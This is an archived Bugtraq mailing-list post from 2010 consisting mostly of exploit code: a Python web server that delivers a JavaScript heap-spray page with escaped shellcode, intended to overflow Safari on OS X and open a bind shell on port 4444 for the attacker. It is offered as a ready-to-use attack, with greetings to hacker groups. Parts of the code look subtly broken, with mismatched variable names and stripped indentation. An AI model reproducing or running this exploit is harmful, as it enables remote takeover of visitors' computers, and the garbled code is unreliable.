bugtraq - Apple Safari <= Tag (heap spray) Remote Buffer Overflow Exploit (osX)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201004041755.o34HtcTV030188@www3.securityfocus.com>
Date: Sun, 4 Apr 2010 11:55:38 -0600
From: eidelweiss@...erservices.com
To: bugtraq@...urityfocus.com
Subject: Apple Safari <= Tag (heap spray) Remote Buffer Overflow Exploit (osX)

Exploit Code :  

#!/usr/bin/env python
#######################################################
#
# Title: Apple Safari <= Tag (heap spray) Remote BOF Exploit (osX)
# Author: eidelweiss
# Special Thank`s to: AL-MARHUM - [D]eal [C]yber - all Senior MEDANHACKER
# Greats: JosS (hackown) , r0073r & 0x1D (inj3ct0r) , kuris (good job beib
LOL)
# Tested on ibook OS X 10.4.11 (ibook g4)
#
#######################################################
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys

class myRequestHandler(BaseHTTPRequestHandler):

def do_GET(self):
self.printCustomHTTPResponse(200)
if self.path == "/":
target=self.client_address[0]
self.wfile.write("""
<html>
<head>
<title>firelinking By eidelweiss</title>
Copyright (C) 2009-2010 firelinking by eidelweiss
</br>
Apple Safari (heap spray) Remote BOF Exploit for osX
Bind Shell Delivered on Port: 4444
</br>
<div id="content">
<p><FONT> </FONT></p>
<p><FONT>Behahahahahaahahhsyuuuuucrash</FONT></p>
<p><FONT>Crooooooooooooooot</FONT></p>
<p><FONT>Modyaaaaaaaar </FONT></p>
</div>
<script language=JavaScript>

// osX/x86/vforkshell_bind_tcp - 152 bytes
// http://www.metasploit.com
// AppendExit=false, PrependSetresuid=false,
// PrependSetuid=false, LPORT=4444, RHOST=,
// PrependSetreuid=false
var shellcode =
unescape("%uc031%u5099%u5040%u5040%ub052%ucd61%u0f80%u7e82%u0000%u8900%u52c
6%u5252%u0068%u1102%u895c%u6ae3%u5310%u5256%u68b0%u80cd%u6772%u5652%ub052%u
cd6a%u7280%u525e%u5652%ub052%ucd1e%u7280%u8954%u31c7%u83db%u01eb%u5343%u535
7%u5ab0%u80cd%u4372%ufb83%u7503%u31f1%u50c0%u5050%ub050%ucd3b%u9080%u3c90%u
752d%ub009%ucd42%u8380%u00fa%u1774%uc031%u6850%u2f2f%u6873%u2f68%u6962%u896
e%u50e3%u5350%ub050%ucd3b%u3180%u50c0%ue389%u5050%u5053%ub050%ucd07%u3180%u
50c0%u4050%u80cd");
var croot = unescape("%u4141%u4141");
var moncrot = croot;
while (moncrot.length<0x80000)
{
moncroot += moncroot;
}
sprayContainer = new Array();
for (i=0; i<800; i++)
{
sprayContainer[i] = moncroot + shellcode;
}
var searchArray = new Array()

function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
{
c=data.charAt(i);
if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
escData+=c;
}
return escData;
}
function DataTranslator(){
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["str"] = "blah";
var newElement = document.getElementById("content")
if (document.getElementsByTagName) {
var i=0;
pTags = newElement.getElementsByTagName("p")
if (pTags.length > 0)
while (i<pTags.length)
{
oTags = pTags[i].getElementsByTagName("font")
searchArray[i+1] = new Array()
if (oTags[0])
{
searchArray[i+1]["str"] = oTags[0].innerHTML;
}
i++
}
}
}

function GenerateHTML()
{
var html = "";
for (i=1;i<searchArray.length;i++)
{
html += escapeData(searchArray[i]["str"])
}
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>""")
print ("\n\n[*] Start Firelinking. [*]\n[*] waiting for attempt to
connect.[*]\n[*] Connect to IP Address: %s and port 4444 [-]" % (target))

def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()

httpd = HTTPServer(('', 80), myRequestHandler)

print ("""
#######################################################
#
# Apple Safari Apple Safari Tag (heap spray) Remote BOF Exploit (osX)
# Author: eidelweiss
# Special Thank`s to: AL-MARHUM - [D]eal [C]yber - all Senior MEDANHACKER
# Greats: JosS (hackown) , r0073r & 0x1D (inj3ct0r) , kuris (good job beib
LOL)
# Tested on OS X 10.4.11 (ibook g4)
#
#######################################################
""")
print ("Listening on port 80.")
print ("Firelinking by eidelweiss.")
print ("\nType <Ctrl>-c to Stop..")
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print ("\n\n[*] Firelinking Stoped.\n\n")
sys.exit(1)